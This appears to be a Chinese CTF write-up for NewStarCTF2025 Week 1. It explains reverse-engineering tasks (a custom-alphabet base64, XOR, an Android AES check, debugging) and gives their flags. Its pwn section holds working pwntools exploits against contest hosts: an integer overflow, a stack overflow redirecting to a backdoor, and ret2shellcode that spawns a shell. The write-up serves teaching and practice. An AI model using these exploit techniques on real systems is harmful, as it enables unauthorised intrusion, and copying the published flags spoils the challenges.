NewStarCTF2025-WEEK1

Reverse

Strange Base

IDA定位到函数

明显是将我们的输入结果base64加密后和buf2比较

跟进分析base64_encode函数

发现很明显的base64加密特征,直接解密发现失败

大概率是换表base64,跟进上面的table提取出表解密即可

解密

python 复制代码
import base64
import string

str1 = "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9=" # 密文

string1 = "HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXVKJNMF"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

flag{Wh4t_a_cra2y_8as3!!!}

X0r

IDA分析主函数代码,发现把我们的输入存储到str中,每三个为一组,每组内按下标分别进行异或

直接对照逻辑逆向就行

python 复制代码
enc="anu`ym7wKLl$P]v3q%D]lHpi"
key=[0x13,0x13,0x51]
enc_list=[0]*len(enc)
flag=""
for i in range(len(enc)):
    enc_list[i]=(ord(enc[i])^key[i%3])
for i in range(len(enc)):
    if i%3==0:
        flag+=chr(enc_list[i]^0x14)
    elif i%3==1:
        flag+=chr(enc_list[i]^0x11)
    else:
        flag+=chr(enc_list[i]^0x45)
print(flag)

flag{y0u_Kn0W_b4s1C_xOr}

Puzzle

IDA分析主函数,发现flag被切分为四个部分,那我们只需要找到四个部分即可

按题目说明依次找出part1 part2 part3 part4即可

查字符串找到part4

下面有个提示second

查交叉引用,得到part2

字符串列表中还存在

看交叉引用,得到part1

还有可疑串

继续查看交叉引用

将数据异或得到part3

拼在一起就行

flag{Do_Y0u_Like_7his_Jigs@w_puzz1e_Gam3}

EzMyDroid

JADX分析APK文件

找到加密函数和主要加密逻辑

发现加密过程是把我们的输入先进行AES加密,然后BASE64加密,全部都在Java层

所以直接解密base64,再解AES即可

flag{@_g00d_st@r7_f0r_ANDROID}

plzdebugme

IDA分析主函数

发现经过了很多种加密,直接逆向算法的话耗时较大,所以这里选择动调的方式

直接在最后依次加密完成后下断点,动调提取数据即可

触发断点后在flag处提取数据

flag{It3_D3bugG_T11me!_le3_play}

PWN

GNU Debugger

是一个熟悉GDB的题,按照提示走就行

第一关是获取R12中的值

按c后输入R12的值即可来到第二关

第二关是获取内存地址处的数据

获取内存中数据然后厨子转字符串,来到第三关

要求我们下断点,在该地址处下断点

触发断点后一直ni到最后一关

最后一关是修改地址0x7fffffffd7d4处的值为0xdeadbeef

先查看该处的值,然后通过set进行修改,得到最终flag

INTbug

IDA查看func

因为这里的v1为int16,是一个有符号的16位整数,最高位为符号位

所以我们只需要输入32768个1,使得v1溢出为负数即可

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./INTbug")
p=remote("47.94.87.199",34898)
# gdb.attach(p)
# pause()
p.recvline("welcome to NewStarCTF2025!\n")
payload = b'1\n' * 32768
p.sendline(payload)
p.interactive()

pwn's door

IDA查看,发现只是把我们的输入进行比较

满足条件即可获取权限

编写脚本

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./door")
p=remote("39.106.48.123",30317)
p.recvline()
binsh=0x6B6579
p.sendline(str(binsh))
p.interactive()

overflow

查看main

直接跟进try

发现存在栈溢出,覆盖长度为0x100+0x8

编写payload

这里会有EOF,需要一个ret滑一下

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./overflow")
p=remote("39.106.48.123",37508)
p.recvline()
backdoor=0x0401200
ret=0x401016
p.sendline(b"a"*0x108+p64(ret)+p64(backdoor))
p.interactive()

input_function

我们可以发现buf映射到的虚拟地址具有可读可写可执行的权限

也可以用vmmap查看

并且后续会调用buf,典型的ret2shellcode,编写EXP

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./input_function")
p=remote("39.106.48.123",36843)
p.recvline("please input a function(after compile)")
# gdb.attach(p)
# pause()
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
相关推荐
网安情报局20 小时前
RSAC 2026深度解析:AI对抗AI成主流,九大安全能力全面升级
人工智能·网络安全
云安全助手21 小时前
OpenClaw安全深度解析:开放生态下的AI智能体风险与防护实战
人工智能·网络安全
乾元1 天前
《硅基之盾》番外篇一:时间的折叠——AI 时代下的物理隔离与传统工控(ICS/OT)安全
网络·人工智能·安全·网络安全·架构
千枫s1 天前
kali怎么制作所有长度的爆破字典
网络·网络安全
AI_Claude_code1 天前
ZLibrary访问困境方案二:DNS-over-HTTPS/TLS配置与隐私保护实践
爬虫·python·网络协议·http·网络安全·https·网络爬虫
pencek1 天前
HakcMyVM-Nebula
网络安全
188号安全攻城狮1 天前
【前端基础知识】JavaScript 数组方法总结:从表格速查到分类详解
开发语言·前端·javascript·网络安全
zjeweler1 天前
网安护网面试-1-长亭护网面试
web安全·网络安全·面试·职场和发展
网络安全许木1 天前
自学渗透测试第11天(Linux压缩解压与磁盘管理)
linux·网络安全·渗透测试
三七吃山漆2 天前
BUUCTF-[BJDCTF2020]Mark loves cat
web安全·网络安全·buuctf